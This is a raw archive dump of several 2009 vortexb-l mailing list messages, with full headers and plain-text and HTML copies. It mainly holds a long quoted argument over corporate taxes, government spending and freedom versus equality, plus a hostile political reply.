List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 531 --0015174c1d94982cb0046b53d8af Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You haven't mentioned capital investment, such as building factories and such. Something tells me you've little experience in business. On Mon, Jun 1, 2009 at 9:32 PM, leaking pen wrote: > They get turned into bonuses for top level executives that already > make the salary of 500 of the regular workers, or split up to > stockholders, and in both cases usually get put away in trust funds, > tax shelters, and luxury goods purchased from out of state or country > in such ways that very little income tax is paid, and the money is > taken out of the system, out of the economy, rather than being used to > further the growth of the system via sales. > > What do YOU think happens to it? Im due to listen to a good fairy tale. > > On Mon, Jun 1, 2009 at 5:17 PM, Charles HOPE > wrote: > > What do you think happens to corporate profits? > > > > > > On Mon, Jun 1, 2009 at 1:57 AM, leaking pen wrote: > >> > >> most of those services TO corporations. > >> > >> No, costs wont rise much, profits at the corporate level will go down. > >> When a company saves 100 million by getting the goverment to pay for > >> their new facility, do you think it comes off of prices? hell no. > >> > >> also, tax loopholes for corporations ... > >> > >> http://uprisingradio.org/home/?p=3D7210 > >> > >> an article that estimates "loopholes and havens" are costing the gov > >> 100 billion a year in corporate tax. > >> > >> heres income currently based on the goverments own numbers , numbers > >> in millions of dollars. > >> 2008, private income tax. 1,163,472 > >> corporate income tax 370,243 > >> > >> whos paying the most? ohh, and all that spending, does it go straight > >> to people? no, most of it goes to businesses in the form of grants. > >> the military budget is immense, and who gets that money? halliburton > >> and defense contractors. > >> > >> Many people will point out that health and human services is as big a > >> piece of the pie. But thats mostly social security, paid for by > >> social security insurance payments and medicare paid for by medicare > >> payments on payrolls, seperate of the straight income tax. Thats paid > >> half and half by companies and the employees, except for self > >> employed. the numbers (again in millions) of receipts? 869,607 > >> > >> these numbers from this link, btw. > >> http://www.gpoaccess.gov/usbudget/fy09/hist.html > >> > >> On Sun, May 31, 2009 at 9:28 PM, Charles HOPE > >> wrote: > >> > Your taxes aren't high because of corporate tax breaks but the myria= d > >> > services government is expected to provide. Our domestic spending is > >> > ridiculous, and we are paying for 700 foreign army bases in 130 > >> > countries. > >> > If corporations were taxed, it would do nothing raise prices for > >> > consumers. > >> > > >> > > >> > > >> > > >> > On Sun, May 31, 2009 at 2:39 AM, leaking pen > wrote: > >> >> > >> >> Except that teh companies are getting that money FROM the governmen= t. > >> >> Its the same money. if companies werent getting these exorbitant > >> >> bonueses and kickbacks and breaks, income tax wouldn't be as high. = as > >> >> for tax amount, i would LOVE if my taxes were 50 percent. To even > >> >> reach that point, it would mean, after taxes, i was taking home abo= ut > >> >> 10 times what i do now. > >> >> > >> >> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE > >> >> wrote: > >> >> > Is it really possible that employers extract more than the > government > >> >> > does? > >> >> > If the accounting is performed, I'm sure you'll find employer > >> >> > extraction > >> >> > of > >> >> > surplus (even in a zero-sum system) much less than the ~50% > extracted > >> >> > by > >> >> > government in direct taxes and indirect inflation. Government is > the > >> >> > super-exploiter. > >> >> > > >> >> > > >> >> > On Fri, May 29, 2009 at 10:23 AM, leaking pen > >> >> > wrote: > >> >> >> > >> >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > >> >> >> > >> >> >> How is it not? Employers, the big ones, get corporate tax break= s, > >> >> >> government kickbacks for building and bringing in jobs and > "boosting > >> >> >> the economy". Roads that are mostly used and used up by freight > >> >> >> trucks are paid for and repaired by funds that come from the > average > >> >> >> citizen, especially taxes on gasoline (which, being a business > makes > >> >> >> you immune to such taxes). Large companies get a po box in the > >> >> >> caymans that protects them from additional tax. How is large > scale > >> >> >> employers, making billions in profit a yeah, basically cheating > the > >> >> >> system to not pay taxes on money they would never have made > without > >> >> >> the governments help in the first place, and that cost then bein= g > >> >> >> passed on to the rest of us, NOT exploitation by the employer? > >> >> >> > >> >> >> and thats before we talk about companies like walmart, that make > >> >> >> sure > >> >> >> most of their employees are just part time enough to never get > >> >> >> benefits, but then hire a person to help their employees enroll = in > >> >> >> medicaid, rather than having medical insurance plans available..= . > >> >> >> > >> >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink > wrote: > >> >> >> > When you have equality of opportunity, some will act on the > >> >> >> > opportunity > >> >> >> > and > >> >> >> > some will not. The industrious will prosper more than the laz= y. > >> >> >> > Some > >> >> >> > on > >> >> >> > this forum will say that the resulting disparity in wealth is > >> >> >> > unfair, > >> >> >> > and > >> >> >> > that the wealth of the industrious individuals must be taken a= nd > >> >> >> > given > >> >> >> > to > >> >> >> > those who have less. This process is a move toward equalizing > >> >> >> > outcome, > >> >> >> > and > >> >> >> > is embodied by the graduated income tax system, where achiever= s > >> >> >> > are > >> >> >> > liberated of their achievement at an ever higher percentage > based > >> >> >> > on > >> >> >> > their > >> >> >> > success. > >> >> >> > > >> >> >> > Some of the needy truly need help, but many are merely milking > the > >> >> >> > system. > >> >> >> > > >> >> >> > Where is freedom if hard working people are looted to give fre= e > >> >> >> > rides > >> >> >> > to > >> >> >> > slackers. We hear the Marxist axiom "From him according to hi= s > >> >> >> > ability > >> >> >> > to > >> >> >> > him according to his need." How much can you bleed the workers > >> >> >> > with > >> >> >> > taxes > >> >> >> > before they revolt. The US worker is not unhappy about the si= ze > >> >> >> > of > >> >> >> > his > >> >> >> > paycheck as much as he is unhappy about how little of it he is > >> >> >> > allowed > >> >> >> > to > >> >> >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > >> >> >> > > >> >> >> > If we are truly free, some people will outperform others. If = we > >> >> >> > are > >> >> >> > forced > >> >> >> > to be equal (equal pay for unequal effort), nobody gets ahead, > we > >> >> >> > all > >> >> >> > give > >> >> >> > up trying. The result is not sharing the wealth, but equally > >> >> >> > sharing > >> >> >> > the > >> >> >> > misery. > >> >> >> > > >> >> >> > In a planned economy, who gets to do the planning? Who does a= ll > >> >> >> > the > >> >> >> > work? > >> >> >> > It has always been and always will be the case that the qualit= y > of > >> >> >> > life > >> >> >> > of > >> >> >> > the planners will be far better than the life of the planee. > >> >> >> > There > >> >> >> > will > >> >> >> > be > >> >> >> > no equality between these two groups. Central planning means > >> >> >> > micro > >> >> >> > managing, which is inefficient, error prone, and ultimately > >> >> >> > punishes > >> >> >> > achievers. > >> >> >> > > >> >> >> > Jeff. > >> >> >> > > >> >> >> > -----Original Message----- > >> >> >> > From: leaking pen [mailto:itsatrap@gmail.com] > >> >> >> > Sent: Thursday, May 28, 2009 4:59 PM > >> >> >> > To: vortexb-l@eskimo.com > >> >> >> > Subject: Re: [VoB]:freedom and/or equality > >> >> >> > > >> >> >> > No, as all rights automatically include a duty with them. If > >> >> >> > everyone > >> >> >> > has the right to free speech, then everyone automatically has = a > >> >> >> > duty > >> >> >> > to protect and not infringe anothers free speech. Ethics 101 = my > >> >> >> > man. > >> >> >> > > >> >> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink > wrote: > >> >> >> >> The only thing I see as the difference after checking my > >> >> >> >> dictionary > >> >> >> >> is > >> >> >> > that > >> >> >> >> an opportunity is a chance whereas a liberty is supposed to b= e > a > >> >> >> >> right. > >> >> >> > As > >> >> >> >> rights go, what we have on paper and what we have in actualit= y > is > >> >> >> >> not > >> >> >> >> necessarily the same. > >> >> >> >> > >> >> >> >> Have you considered the possibility that freedom and equality > are > >> >> >> >> mutually > >> >> >> >> exclusive concepts. > >> >> >> >> > >> >> >> >> Jeff > >> >> >> >> > >> >> >> >> -----Original Message----- > >> >> >> >> From: leaking pen [mailto:itsatrap@gmail.com] > >> >> >> >> Sent: Thursday, May 28, 2009 1:19 PM > >> >> >> >> To: vortexb-l@eskimo.com > >> >> >> >> Subject: Re: [VoB]:freedom and/or equality > >> >> >> >> > >> >> >> >> This. I fail to see a difference. > >> >> >> >> > >> >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink > >> >> >> >> wrote: > >> >> >> >>> What is the difference between opportunity and liberty in yo= ur > >> >> >> >>> opinion? > >> >> >> >>> > >> >> >> >>> Jeff > >> >> >> >>> > >> >> >> >>> -----Original Message----- > >> >> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] > >> >> >> >>> Sent: Thursday, May 28, 2009 12:16 PM > >> >> >> >>> To: vortexb-l@eskimo.com > >> >> >> >>> Subject: Re: [VoB]:freedom and/or equality > >> >> >> >>> > >> >> >> >>> neither. > >> >> >> >>> I prefer equal liberty. > >> >> >> >>> > >> >> >> >>> Harry > >> >> >> >>> > >> >> >> >>> ----- Original Message ----- > >> >> >> >>> From: Jeff Fink > >> >> >> >>> Date: Thursday, May 28, 2009 11:31 am > >> >> >> >>> Subject: [VoB]:freedom and/or equality > >> >> >> >>> > >> >> >> >>>> Would you prefer to live in a society that guarantees equal > >> >> >> >>>> opportunity, or > >> >> >> >>>> one that guarantees equal outcome? > >> >> >> >>>> > >> >> >> >>>> > >> >> >> >>>> > >> >> >> >>>> Jeff > >> >> >> >>>> > >> >> >> >>>> > >> >> >> >>> > >> >> >> >>> > >> >> >> >>> > >> >> >> >>> > >> >> >> >> > >> >> >> >> > >> >> >> >> > >> >> >> >> > >> >> >> > > >> >> >> > > >> >> >> > > >> >> >> > > >> >> >> > >> >> > > >> >> > > >> >> > > >> >> > -- > >> >> > Never did I see a second sun > >> >> > Never did my skin touch a land of glass > >> >> > Never did my rifle point but true > >> >> > But in a land empty of enemies > >> >> > Waiting for the tick-tick-tick of the want > >> >> > A uranium angel > >> >> > Crying =93behold,=94 > >> >> > This land that knew fire is yours > >> >> > Taken from Corruption > >> >> > To begin anew > >> >> > > >> >> > >> > > >> > > >> > > >> > -- > >> > Never did I see a second sun > >> > Never did my skin touch a land of glass > >> > Never did my rifle point but true > >> > But in a land empty of enemies > >> > Waiting for the tick-tick-tick of the want > >> > A uranium angel > >> > Crying =93behold,=94 > >> > This land that knew fire is yours > >> > Taken from Corruption > >> > To begin anew > >> > > >> > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c1d94982cb0046b53d8af Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You haven't mentioned capital investment, such as building factories an= d such. Something tells me you've little experience in business.


On Mon, Jun 1, 2009 at 9:32 PM, leaking= pen <itsatrap@g= mail.com> wrote:
They get turned i= nto bonuses for top level executives that already
make the salary of 500 of the regular workers, or split up to
stockholders, and in both cases usually get put away in trust funds,
tax shelters, and luxury goods purchased from out of state or country
in such ways that very little income tax is paid, and the money is
taken out of the system, out of the economy, rather than being used to
further the growth of the system via sales.

What do YOU think happens to it? =A0Im due to listen to a good fairy tale.<= br>
On Mon, Jun 1, 2009 at 5:17 PM, Charles HOPE
<lookslikeiwasright@gmail.com> wrote:
> What do you think happens to corporate profits?
>
>
> On Mon, Jun 1, 2009 at 1:57 AM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> most of those services TO corporations.
>>
>> No, costs wont rise much, profits at the corporate level will go d= own.
>> =A0When a company saves 100 million by getting the goverment to pa= y for
>> their new facility, do you think it comes off of prices? =A0hell n= o.
>>
>> also, tax loopholes for corporations ...
>>
>> http://uprisingradio.org/home/?p=3D7210
>>
>> an article that estimates "loopholes and havens" are cos= ting the gov
>> 100 billion a year in corporate tax.
>>
>> heres income currently based on the goverments own numbers , numbe= rs
>> in millions of dollars.
>> 2008, private income tax. =A0 1,163,472
>> corporate income tax =A0370,243
>>
>> whos paying the most? =A0ohh, and all that spending, does it go st= raight
>> to people? =A0no, most of it goes to businesses in the form of gra= nts.
>> the military budget is immense, and who gets that money? =A0hallib= urton
>> and defense contractors.
>>
>> Many people will point out that health and human services is as bi= g a
>> piece of the pie. =A0But thats mostly social security, paid for by=
>> social security insurance payments and medicare paid for by medica= re
>> payments on payrolls, seperate of the straight income tax. =A0That= s paid
>> half and half by companies and the employees, except for self
>> employed. =A0the numbers (again in millions) of receipts? =A0869,6= 07
>>
>> these numbers from this link, btw.
>> http://www.gpoaccess.gov/usbudget/fy09/hist.html
>>
>> On Sun, May 31, 2009 at 9:28 PM, Charles HOPE
>> <lookslikeiwasr= ight@gmail.com> wrote:
>> > Your taxes aren't high because of corporate tax breaks bu= t the myriad
>> > services government is expected to provide. Our domestic spen= ding is
>> > ridiculous, and we are paying for 700 foreign army bases in 1= 30
>> > countries.
>> > If corporations were taxed, it would do nothing raise prices = for
>> > consumers.
>> >
>> >
>> >
>> >
>> > On Sun, May 31, 2009 at 2:39 AM, leaking pen <itsatrap@gmail.com> wrote:
>> >>
>> >> Except that teh companies are getting that money FROM the= government.
>> >> Its the same money. if companies werent getting these exo= rbitant
>> >> bonueses and kickbacks and breaks, income tax wouldn'= t be as high. as
>> >> for tax amount, i would LOVE if my taxes were 50 percent.= =A0To even
>> >> reach that point, it would mean, after taxes, i was takin= g home about
>> >> 10 times what i do now.
>> >>
>> >> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE
>> >> <looks= likeiwasright@gmail.com> wrote:
>> >> > Is it really possible that employers extract more th= an the government
>> >> > does?
>> >> > If the accounting is performed, I'm sure you'= ;ll find employer
>> >> > extraction
>> >> > of
>> >> > surplus (even in a zero-sum system) much less than t= he ~50% extracted
>> >> > by
>> >> > government in direct taxes and indirect inflation. G= overnment is the
>> >> > super-exploiter.
>> >> >
>> >> >
>> >> > On Fri, May 29, 2009 at 10:23 AM, leaking pen <itsatrap@gmail.com>
>> >> > wrote:
>> >> >>
>> >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER!=
>> >> >>
>> >> >> How is it not? =A0Employers, the big ones, get c= orporate tax breaks,
>> >> >> government kickbacks for building and bringing i= n jobs and "boosting
>> >> >> the economy". =A0Roads that are mostly used= and used up by freight
>> >> >> trucks are paid for and repaired by funds that c= ome from the average
>> >> >> citizen, especially taxes on gasoline (which, be= ing a business makes
>> >> >> you immune to such taxes). =A0Large companies ge= t a po box in the
>> >> >> caymans that protects them from additional tax. = =A0How is large scale
>> >> >> employers, making billions in profit a yeah, bas= ically cheating the
>> >> >> system to not pay taxes on money they would neve= r have made without
>> >> >> the governments help in the first place, and tha= t cost then being
>> >> >> passed on to the rest of us, NOT exploitation by= the employer?
>> >> >>
>> >> >> and thats before we talk about companies like wa= lmart, that make
>> >> >> sure
>> >> >> most of their employees are just part time enoug= h to never get
>> >> >> benefits, but then hire a person to help their e= mployees enroll in
>> >> >> medicaid, rather than having medical insurance p= lans available...
>> >> >>
>> >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink <<= a href=3D"mailto:revtec@ptd.net">revtec@ptd.net> wrote:
>> >> >> > When you have equality of opportunity, some= will act on the
>> >> >> > opportunity
>> >> >> > and
>> >> >> > some will not. =A0The industrious will pros= per more than the lazy.
>> >> >> > =A0Some
>> >> >> > on
>> >> >> > this forum will say that the resulting disp= arity in wealth is
>> >> >> > unfair,
>> >> >> > and
>> >> >> > that the wealth of the industrious individu= als must be taken and
>> >> >> > given
>> >> >> > to
>> >> >> > those who have less. =A0This process is a m= ove toward equalizing
>> >> >> > outcome,
>> >> >> > and
>> >> >> > is embodied by the graduated income tax sys= tem, where achievers
>> >> >> > are
>> >> >> > liberated of their achievement at an ever h= igher percentage based
>> >> >> > on
>> >> >> > their
>> >> >> > success.
>> >> >> >
>> >> >> > Some of the needy truly need help, but many= are merely milking the
>> >> >> > system.
>> >> >> >
>> >> >> > Where is freedom if hard working people are= looted to give free
>> >> >> > rides
>> >> >> > to
>> >> >> > slackers. =A0We hear the Marxist axiom &quo= t;From him according to his
>> >> >> > ability
>> >> >> > to
>> >> >> > him according to his need." How much c= an you bleed the workers
>> >> >> > with
>> >> >> > taxes
>> >> >> > before they revolt. =A0The US worker is not= unhappy about the size
>> >> >> > of
>> >> >> > his
>> >> >> > paycheck as much as he is unhappy about how= little of it he is
>> >> >> > allowed
>> >> >> > to
>> >> >> > keep. =A0THE PROBLEM IS NOT EXPLOITATION BY= THE EMPLOYER!
>> >> >> >
>> >> >> > If we are truly free, some people will outp= erform others. =A0If we
>> >> >> > are
>> >> >> > forced
>> >> >> > to be equal (equal pay for unequal effort),= nobody gets ahead, we
>> >> >> > all
>> >> >> > give
>> >> >> > up trying. =A0The result is not sharing the= wealth, but equally
>> >> >> > sharing
>> >> >> > the
>> >> >> > misery.
>> >> >> >
>> >> >> > In a planned economy, who gets to do the pl= anning? =A0Who does all
>> >> >> > the
>> >> >> > work?
>> >> >> > It has always been and always will be the c= ase that the quality of
>> >> >> > life
>> >> >> > of
>> >> >> > the planners will be far better than the li= fe of the planee.
>> >> >> > =A0There
>> >> >> > will
>> >> >> > be
>> >> >> > no equality between these two groups. =A0Ce= ntral planning means
>> >> >> > micro
>> >> >> > managing, which is inefficient, error prone= , and ultimately
>> >> >> > punishes
>> >> >> > achievers.
>> >> >> >
>> >> >> > Jeff.
>> >> >> >
>> >> >> > -----Original Message-----
>> >> >> > From: leaking pen [mailto:itsatrap@gmail.com]
>> >> >> > Sent: Thursday, May 28, 2009 4:59 PM
>> >> >> > To: vortexb-l@eskimo.com
>> >> >> > Subject: Re: [VoB]:freedom and/or equality<= br> >> >> >> >
>> >> >> > No, as all rights automatically include a d= uty with them. =A0If
>> >> >> > everyone
>> >> >> > has the right to free speech, then everyone= automatically has a
>> >> >> > duty
>> >> >> > to protect and not infringe anothers free s= peech. =A0Ethics 101 my
>> >> >> > man.
>> >> >> >
>> >> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink = <revtec@ptd.net> wrote:
>> >> >> >> The only thing I see as the difference = after checking my
>> >> >> >> dictionary
>> >> >> >> is
>> >> >> > that
>> >> >> >> an opportunity is a chance whereas a li= berty is supposed to be a
>> >> >> >> right.
>> >> >> > =A0As
>> >> >> >> rights go, what we have on paper and wh= at we have in actuality is
>> >> >> >> not
>> >> >> >> necessarily the same.
>> >> >> >>
>> >> >> >> Have you considered the possibility tha= t freedom and equality are
>> >> >> >> mutually
>> >> >> >> exclusive concepts.
>> >> >> >>
>> >> >> >> Jeff
>> >> >> >>
>> >> >> >> -----Original Message-----
>> >> >> >> From: leaking pen [mailto:itsatrap@gmail.com]
>> >> >> >> Sent: Thursday, May 28, 2009 1:19 PM >> >> >> >> To: vortexb-l@eskimo.com
>> >> >> >> Subject: Re: [VoB]:freedom and/or equal= ity
>> >> >> >>
>> >> >> >> This. =A0I fail to see a difference. >> >> >> >>
>> >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff = Fink <revtec@ptd.net>
>> >> >> >> wrote:
>> >> >> >>> What is the difference between oppo= rtunity and liberty in your
>> >> >> >>> opinion?
>> >> >> >>>
>> >> >> >>> Jeff
>> >> >> >>>
>> >> >> >>> -----Original Message-----
>> >> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca]
>> >> >> >>> Sent: Thursday, May 28, 2009 12:16 = PM
>> >> >> >>> To: vortexb-l@eskimo.com
>> >> >> >>> Subject: Re: [VoB]:freedom and/or e= quality
>> >> >> >>>
>> >> >> >>> neither.
>> >> >> >>> I prefer equal liberty.
>> >> >> >>>
>> >> >> >>> Harry
>> >> >> >>>
>> >> >> >>> ----- Original Message -----
>> >> >> >>> From: Jeff Fink <revtec@ptd.net>
>> >> >> >>> Date: Thursday, May 28, 2009 11:31 = am
>> >> >> >>> Subject: [VoB]:freedom and/or equal= ity
>> >> >> >>>
>> >> >> >>>> Would you prefer to live in a s= ociety that guarantees equal
>> >> >> >>>> opportunity, or
>> >> >> >>>> one that guarantees equal outco= me?
>> >> >> >>>>
>> >> >> >>>>
>> >> >> >>>>
>> >> >> >>>> Jeff
>> >> >> >>>>
>> >> >> >>>>
>> >> >> >>>
>> >> >> >>>
>> >> >> >>>
>> >> >> >>>
>> >> >> >>
>> >> >> >>
>> >> >> >>
>> >> >> >>
>> >> >> >
>> >> >> >
>> >> >> >
>> >> >> >
>> >> >>
>> >> >
>> >> >
>> >> >
>> >> > --
>> >> > Never did I see a second sun
>> >> > Never did my skin touch a land of glass
>> >> > Never did my rifle point but true
>> >> > But in a land empty of enemies
>> >> > Waiting for the tick-tick-tick of the want
>> >> > A uranium angel
>> >> > Crying =93behold,=94
>> >> > This land that knew fire is yours
>> >> > Taken from Corruption
>> >> > To begin anew
>> >> >
>> >>
>> >
>> >
>> >
>> > --
>> > Never did I see a second sun
>> > Never did my skin touch a land of glass
>> > Never did my rifle point but true
>> > But in a land empty of enemies
>> > Waiting for the tick-tick-tick of the want
>> > A uranium angel
>> > Crying =93behold,=94
>> > This land that knew fire is yours
>> > Taken from Corruption
>> > To begin anew
>> >
>>
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c1d94982cb0046b53d8af-- From vortexb-l-request@eskimo.com Mon Jun 1 18:58:32 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n521wNWb018498; Mon, 1 Jun 2009 18:58:23 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n521wNVv018491; Mon, 1 Jun 2009 18:58:23 -0700 Resent-Date: Mon, 1 Jun 2009 18:58:23 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=RlKTfCTmYNWLcxwjrYlYx7crRBLfY6jRuKHobvY3cag=; b=x4870ivAftwip9SFfCf5P2FOV7ikHrWd9x2G9d8m3TFlj/oOrjybdycpmCme6qstzU oCGRbZL9QZJ9ZVgJrHfV6Pu7poJczwyK/n06DsXzFQr0+2AonyVBRD7UQ96cZGoGTRlR CMCln1EmmQV+h+Dk/ShmB6b0BD/eGtMQqH9tI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=brNCiccY4PJeVnwWZXrMMC6BQMyjXFmcPSv8wAvYbrqdp7zAUFP/inLPjmUElpuMUJ /+EMOJo+Ryx9L985pVferrgRa0eHZB4JBC/szG4XgK/B+eeZiFWwA0+4G8dpXrSkW6bB g2eIguPwaLj3enD9cb43vZP0oGy0LB5xmM2xc= MIME-Version: 1.0 In-Reply-To: <20090602012833.GA4851@shell.resist.ca> References: <7.0.1.0.2.20090601154204.03946e70@gmail.com> <20090601212755.GC28660@shell.resist.ca> <63ffa6020906011723w3a17ef6etfa1ae310b92e8375@mail.gmail.com> <20090602012833.GA4851@shell.resist.ca> From: Charles HOPE Date: Mon, 1 Jun 2009 21:58:03 -0400 Message-ID: <63ffa6020906011858n1d7d23f9tab22b1c7c217567b@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Frank Gordon continues the crusade in San Diego To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001517478c10b294f1046b53e036 Resent-Message-ID: <0LODvB.A.1gE._cIJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4290 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 532 --001517478c10b294f1046b53e036 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Hypocrites, by looking after their own financial interests and following th= e money trail? On Mon, Jun 1, 2009 at 9:28 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > So what's your point? > > My point is that you-lot up my ass are hypocrites, and mostly tools of > imperialism. > As if you can even resonate at this frequency, you're so deep into it... > Frankly I > hope the World Depression demolishes your lives, as youse-all've done so > many others > over the decades and centuries, without the least thought or care; or > you've paid > mere lip service to the inhumanity you've profited-by, or shed only > crocodile tears. > Not truly a worthy thought on my part here; but hey -- I'm only human. > > My point is also that your Evil Masters fully intend a hat trick -- and a= im > to win > WWIII, which is in the offing... Nothing doing, however: yousa-all are > LOSING that > one -- seeing too as how you really only cherry-picked the last two; and > are > insufferable braggarts about it all to boot. > > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkokgEEACgkQXo3EtEYbt3GhNACg0v17ljHiRcZ1Ag9GALwo1K6k > A9UAnRWMEJkdk1z6Yrau9Fo6vN45atOV > =3DQ0Pq > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001517478c10b294f1046b53e036 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Hypocrites, by looking after their own financial interests and following th= e money trail?


On Mon, Jun 1, 2009 at= 9:28 PM, grok <grok= @resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> So what's your point?

My point is that you-lot up my ass are hypocrites, and mostly tools o= f imperialism.
As if you can even resonate at this frequency, you're so deep into it..= . Frankly I
hope the World Depression demolishes your lives, as youse-all've done s= o many others
over the decades and centuries, without the least thought or care; or you&#= 39;ve paid
mere lip service to the inhumanity you've profited-by, or shed only cro= codile tears.
Not truly a worthy thought on my part here; but hey -- I'm only human.<= br>
My point is also that your Evil Masters fully intend a hat trick -- and aim= to win
WWIII, which is in the offing... Nothing doing, however: yousa-all are LOSI= NG that
one -- seeing too as how you really only cherry-picked the last two; and ar= e
insufferable braggarts about it all to boot.


- -- grok.






- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkokgEEACgkQXo3EtEYbt3GhNACg0v17ljHiRcZ1Ag9GALwo1K6k
A9UAnRWMEJkdk1z6Yrau9Fo6vN45atOV
=3DQ0Pq
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001517478c10b294f1046b53e036-- From vortexb-l-request@eskimo.com Mon Jun 1 19:24:07 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n522O5ua023161; Mon, 1 Jun 2009 19:24:05 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n522O4r5023147; Mon, 1 Jun 2009 19:24:04 -0700 Resent-Date: Mon, 1 Jun 2009 19:24:04 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: Zrb0ik4VM1kpr5zX2B1718K49K5HfOD7iklD_4JOUr0IkMfiSuUfMfowGkfRVT9tSVdLRLHdNwfEi438g4kdDOnfjbTnRGazrviFjNnF8zsOsOU5J1jqBOgD9deX0onU_fRjdoOXBHKmxgixGZqJ.5stsWlhOJrVKuh_0qPZQd__0Gmhy8_VjWt0PdFbe8U4HUYalRIl811xZRjrWp8xYjtnfT6Tabtp.uZ1KVd8OxkrTDnu0LMv5uuNtV3OSuXy4lkJnYJuWRb2qmj3E4ZQ8qIbjWRtn.6pqDaikWyXOkqe3vQoF4k2D84cBNoVhGepM_wstooy7CV3MA-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Mon, 01 Jun 2009 21:23:53 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> In-Reply-To: <20090525001439.GH30161@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4291 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: 